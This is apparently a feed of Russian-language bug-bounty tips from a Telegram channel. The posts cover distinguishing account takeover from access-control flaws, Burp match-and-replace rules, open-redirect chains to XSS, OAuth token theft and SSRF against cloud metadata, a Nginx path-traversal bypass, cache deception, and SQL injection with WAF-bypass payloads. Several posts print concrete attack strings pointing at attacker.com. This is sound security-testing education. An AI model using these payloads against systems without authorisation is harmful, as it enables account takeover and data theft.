Standoff Bug Bounty Tips – Telegram
🤔 Как не путать Account Takeover с ошибками контроля доступа

Они с виду похожи, но происходят на совершенно разных этапах. Вот как их различить 👇

1️⃣ Этап атаки

ATO нацелен на этап аутентификации (до или во время входа). Ошибки контроля доступа появляются после аутентификации, когда приложение должно применять разрешения. Знание момента возникновения ошибки помогает определить её причину.

2️⃣ Цель атакующего

🪲 ATO = Атакующий становится жертвой, т. е. захватывает сессии, данные и действия.
🐞 Access control = несанкционированный доступ к данным/функциям (не ко всему аккаунту).

В первом случае ты захватываешь аккаунт, во втором — байпасишь правила.

3️⃣ Причины

ATO возникает из-за слабых потоков аутентификации:

▪️ Предсказуемые токены
▪️ XSS в функционале сброса пароля
▪️ Неправильно настроенный OAuth

Access control возникает из-за ошибок в логике разрешений, таких как:

▪️ Отсутствие проверки ролей
▪️ IDOR/BOLA

4️⃣ Импакт

ATO обычно имеет критический или высокий уровень опасности, особенно с доказательствами захвата сессии.

Access control варьируется:

💥 Критический — для массовых утечек PII
⚠️ Низкий — для доступа к данным пользователей с минимальным воздействием

5️⃣ Подход к тестированию

Для тестирования ATO сосредоточься на входе, сбросе, сессиях. Для тестирования Access control проверяй эндпоинты, ID объектов и административные фичи.

Знание того, что тестировать, сэкономит время и повысит успех в получении вознаграждений. А понимание различий и соответствующее тестирование максимизирует твой вклад.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5👍2
🚨 Статические веб-приложения: почему не стоит проходить мимо

Статические веб-приложения находят применение в самых разных сферах: от блогов и одностраничных лендингов до документации по продуктам и API.

И хотя они не обрабатывают пользовательский ввод и в целом устойчивы к инъекциям, списывать их со счётов при анализе безопасности точно не стоит.

🔓 Даже у «простых» сайтов бывают неожиданные дыры. Вот топ-3 самых распространённых багов в статических сайтах:

1️⃣ Открытые бэкапы (часто случайно размещённые в корне)
2️⃣ Незащищённые административные панели и порталы
3️⃣ Устаревшие версии веб-серверов с известными уязвимостями

💡 Чек-лист для быстрого анализа:

• Брутфорс забытых директорий, панелей, бэкапов, конфигов и файлов

• Анализ robots.txt и sitemap.xml — возможный источник интересных путей

• Анализ JavaScript-файлов и комментариев в исходниках — может раскрыть скрытые эндпоинты

• Проверка заголовков ответа на наличие информации о версии веб-сервера

P. S. Не стоит недооценивать «простые» сайты. Даже без логики на сервере они могут содержать чувствительную информацию — от исходников до ключей и административных точек входа.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13🔥2
🤑 Как находить больше уязвимостей с помощью правил BurpSuite match & replace

Простые, но действенные методы:

1️⃣ XXE

Match: Content-Type: application/json
Replace: Content-Type: application/xml


2️⃣ SSRF

Match: https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)

Replace: https://{YOUR_SERVER}/


3️⃣ Blind XSS

Match: ^Referer.*$
Replace: Referer: {BLIND_XSS_PAYLOAD}


4️⃣ Скрытые параметры/поля ввода

Они могут быть уязвимы к SQLi, XSS, SSRF и другие баги.

Match: type\=(\"|')hidden(\"|')
Replace: type="text"


5️⃣ Расширение доступа с помощью манипуляций ответами сервера

Веб-приложения, использующие JavaScript, часто полагаются на ответ сервера для рендеринга определённых представлений страниц. Смело используй следующие правила автозамены:

"false" —> "true"
"error" —> "success"
"400" —> "200"
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍31
🔍 Обнаружение уязвимостей API с помощью Autoswagger

Если хочешь ускорить и повысить эффективность поиска багов в API auth flaw, присмотрись к инструменту Autoswagger. Он еще молодной, но уже много чего умеет:

🔤 Несколько этапов обнаружения

Инструмент обнаруживает спецификации OpenAPI тремя способами:

1. Прямая спецификация: если предоставлен полный URL с путём, заканчивающимся на .json, .yaml или .yml, файл парсится напрямую.

2. Swagger UI: парсит известные пути Swagger UI (например, /swagger-ui.html) и извлекает спецификацию из HTML или JavaScript.

3. Прямая спецификация с использованием брутфорса: попытка обнаружения с использованием общих местоположений схем OpenAPI (/swagger.json, /openapi.json и т. д.). Этот метод используется только в случае, если первые два не дали результата.

🔤 Параллельное тестирование эндпоинтов

Многозадачное параллельное тестирование множества эндпоинтов с учётом настраиваемого ограничения по скорости (-rate).

🔤 Брутфорс значений параметров

Если используется -b или --brute, инструмент попытается применить различные типы данных с несколькими примерами значений для попытки обойти проверки, специфичные для параметров.

🔤 Обнаружение PII с помощью Presidio

Проверка вывода на наличие номеров телефонов, email-адресов, адресов и имён (с контекстной валидацией для снижения фолсов). Также парсит строки CSV и строки вида «ключ: значение».

🔤 Обнаружение секретов

Используется набор регулярных выражений для обнаружения токенов, ключей и артефактов отладки (например, переменных окружения).

🔤 Вывод в CLI или в JSON-формате

В стандартном режиме результаты выводятся в таблице. С опцией -json выводится структура в формате JSON. Режим -product фильтрует вывод, показывая только те результаты, которые содержат PII, секреты или большие ответы.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4❤‍🔥21🔥1
😵 Open URL redirect: от low impact до account takeover

Open redirect — это когда уязвимое веб-приложение небезопасно обрабатывает вводимые пользователем данные, что позволяет перенаправлять его с доверенного хоста на внешний (недоверенный).

Существует server- и client-side (DOM-based) редирект (DOM-based). В первом кейсе ты управляешь заголовком Location HTTP-ответа. Второй кейс — это редирект, инициируемый браузером (с помощью клиентского JS-кода).

😵 Где искать

✖️ Страницы входа и регистрации
✖️ Sign out роут или API эндпоинт
✖️ Сброс пароля (проверяй также сгенерированную ссылку на токен, так как она может содержать параметр редиректа)
✖️ Страница профиля учетки

👉 Эксплуатация

Простой редирект, от которого легко защититься, создав белый список разрешённых редиректов:

GET /logout.php?redirect_url=http://attacker.com/ HTTP/2


Легко байпасится:

//attacker.com
/%0A/attacker.com
/%0D/attacker.com
https://example.comattacker.com
...


💣 Повышение импакта: эксплуатация цепочек багов

DOM-based open redirect → XSS

Если в ответе нет заголовка Location, но редирект работает (после небольшой задержки), значит был выполнен редирект на основе DOM. Ты стал еще ближе к DOM based XSS:

GET /signin?redirectURL=javanoscript:alert() HTTP/2


Наш пэйлоад залетает в window.location.href и отрабатывает.

Более сложные примеры на случай, если пэйлоад фильтруется:

jav%0Dascri%0Dpt:alert(1)
javanoscript://https://example.com%0Aalert(1)
...


Open redirect GET-based CSRF

Измени имя пользователя и био любого пользователя, перешедшего по нашей ссылке:

GET /redirect?url=/api/account/profile/username=test&bio=test HTTP/1.1


Open redirect Account takeover через OAuth

Если приложение позволяет использовать сторонние учетки для входа в систему, то, скорее всего, она использует OAuth 2.0. Если видишь что-то вроде:

/api/oauth/apple?client_id=1234&redirect_uri=https://example.com/api/oauth/callback&response_type=token&scope=openid profile&state=random-state


Просто измени redirect_uri на подконтрольный хост и лови токен.

Open redirect SSRF

GET/api/image-loader?url=https://example.com/redirect?url=http://169.254.169.254/... HTTP/2
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍3
😵 Получаем access token через wildcard origin в postMessage

Если веб-приложение передаёт access token через postMessage и при этом не ограничивает origin, а использует подстановку (*), — это может привести к краже токена.

В таком случае ты можешь перехватить сообщение и докрутить до account takeover. Обращай внимание, если в postMessage стоит * вместо доверенного домена.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11
🔥 Merge slashes в Nginx

Ситуация: бэкенд уязвим к Path Traversal, но пробиться через ../ не выходит — мешает Nginx-прокси, который сразу рубит запрос с ошибкой 400 Bad Request, как только вылезает выше корня.

😵 Примеры:

/../../anything → 400 Bad Request
/deep/path/../../anything → OK
/deep/path/../../../anything → 400 Bad Request


Но есть нюанс: если в конфиге отключён merge_slashes (значение off), Nginx не будет схлопывать двойные и более слэши (//) перед проверкой. Это позволяет обойти его:

1. Для Nginx путь выглядит очень глубоким из-за /////.

2. Прокси думает, что ты ещё внутри разрешённого диапазона.

3. А вот приложение, которое реально работает с файловой системой, уже нормализует путь, схлопывает все // в / и получает нормальный Path Traversal.

💡 Если уязвимый эндпоинт лежит не в корне, а глубже (например /deep/path), то уже оттуда можно подниматься на несколько уровней без всяких merge_slashes off. Как видно из примера выше, /deep/path/../../anything всё ещё отрабатывает.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥74
💉Идентификация SQLi через ошибки сервера

☝️Если при эксплуатации SQL-инъекции сервер пятисотит, при этом обычные булевые инъекции дают нестабильные результаты, попробуй пэйлоады из примеров. Они должны вызывать 500-ю ошибку в случае, когда условие (1=1) истинно.


В классических boolean-based инъекциях мы проверяем разницу между TRUE и FALSE условиями по ответу сервера (размер страницы, различие в содержимом и т.п.).

Но бывают ситуации, когда сервер ведёт себя одинаково, и различия отследить сложно (например, ответ всегда 200 ОК, одинаковый HTML).

💡 В таких кейсах можно использовать подход «инъекция через ошибки»:

☑️ Пэйлоад искусственно вызывает ошибку (деление на ноль, загрузка несуществующего расширения, преобразование типа и т.д.)

☑️ Если условие истинно, возникает ошибка → сервер возвращает 500 Internal Server Error

☑️ Если условие ложно, ошибка не срабатывает → сервер отвечает нормально

P. S. Вместо анализа различий в HTML, анализируй факт наличия/отсутствия ошибки, — это помогает надёжно извлекать данные там, где boolean-инъекции «шумят» или плохо работают.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍51👾1
AutoRepeater + Taborator = 🔥

Объединяй расширения Burp AutoRepeater и Taborator для автоматизации воркфлоу и максимизации результатов поиска SSRF:

✔️ Настрой регулярное выражение в AutoRepeater для поиска потенциальных URL-адресов и замени его на плейсхолдер Taborator $collabplz.

✔️ Это будет повторять запрос, изменяя URL на твой Burp Collaborator. Если SSRF-атака будет успешной, ты увидишь HTTP callback в Taborator с точным запросом, который её вызвал.

P. S. Мы уже упоминали об аналогичной автоматизации, но с использованием стандартных возможностей замены в Burp.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔5👍4
💨 Техника XSS Hoisting для багхантера

Представь, что у тебя есть XSS, но перед точкой инъекции есть неопределенная переменная. Все надежды потеряны?

Нет, ты можешь использовать технику XSS Hoisting, чтобы объявить переменную и продолжить эксплуатацию.

🤝 Больше шпаргалок по XSS — тут

С какими нестандартными векторами эксплуатации XSS вы встречались в своей практике? Поделитесь с сообществом ⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
👎73🤡3😐3👍2🔥1🤔1
🥷🏿 Поиск коллизий кэша

Современные веб-архитектуры любят кэширование. Их много: на уровне приложения, на уровне CDN/прокси — и каждый живёт своей жизнью.

Но стоит конфигурации чуть разойтись, и начинается магия: разные кэши начинают хранить разные версии одного и того же ответа.

Рассмотрим пример приложения на Drupal, которое использует два кэш-заголовка: X-Drupal-Cache (кэш на уровне приложения) и X-Cache (кэш на уровне прокси/CDN). Когда страница успешно закэширована, эти заголовки показывают статус HIT; если нет — MISS.

Первый запрос возвращает X-Cache: HIT, что подтверждает кэширование страницы, хотя заголовок X-Drupal-Cache показал MISS:

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: MISS
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 6
X-Cache: HIT


Когда мы добавляем Authorization в запрос, оба заголовка возвращаются со значением HIT:

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
Authorization: test

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 12
X-Cache: HIT


Когда снова удаляем Authorization из запроса, статус X-Drupal-Cache: HIT сохраняется:

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 5
X-Cache: HIT


Это указывает на то, что были задействованы два разных механизма кэширования, позволившие сохранять ответы в кэше при разных условиях.

🚨 Что это значит?

Система пытается разделять авторизованных и неавторизованных пользователей, но механизм кэширования игнорировал заголовок Authorization. В итоге приватный ответ мог попасть в публичный кэш → любой юзер получит чужой контент.

По сути, это Cache Deception. Если на проекте несколько уровней кэша и они по-разному трактуют заголовки — явный признак наличия бага:

💡 Всегда проверяй, какие заголовки влияют на кэширование (Authorization, Cookie, Host и т.п.)
💡 Сравнивай ответы приложения и CDN
💡 Ищи «залипшие» HIT-ы там, где должны быть MISS
Please open Telegram to view this post
VIEW IN TELEGRAM
6
💉 SQL-инъекции сегодня: от базы до обхода WAF

На сегодняшний день SQLi не так часто встречаются в багбаунти, но тут как никогда актуальна поговорка:

Все новое — это хорошо забытое старое


Инъекцию можно встретить в разных частях SQL-запроса: в операторах SELECT/ORDER BY, UPDATE (внутри WHERE), DELETE и INSERT.

🔥 Основные типы SQLi:

▪️Union-based, error-based
▪️Blind: boolean-based, time-based
▪️Out-of-Band SQLi через DNS/HTTP коллбэки
▪️Second-Order SQLi

Многие начинающие багхантеры используют стандартный пэйлоад "x' OR 1=1 -- -" везде, но это работает не всегда. Особенно проблематично с INSERT запросами:

INSERT INTO users (username, email, password)
VALUES ('x' or 1=1 -- -', 'test@example.com', 'hash');


Этот пэйлоад может сломать синтаксис и нарушить структуру запроса.

Используй контекстно-зависимый пэйлоад:

▪️"x'||'y" — для конкатенации строк
▪️"x', (SELECT ...), 'y')-- -" — для корректного закрытия VALUES

🗡 Пример результата:
INSERT INTO users (username, email, password)
VALUES ('x', (SELECT version()), 'y')-- -', 'test@example.com', 'hash');


🛡 Примеры для обхода современных WAF

1. Замена пробелов комментариями:
'/**/OR/**/1=1--/**/-


2. Использование переносов строк:
'OR%0A1=1--%0A-


3. Скобки для изменения паттерна:
'OR(1=1)-- -


4. Смешивание регистра:
'oR 1=1-- -
'Or 1=1-- -
'OR 1=1-- -
Please open Telegram to view this post
VIEW IN TELEGRAM
🤨8👍5🔥2🤔2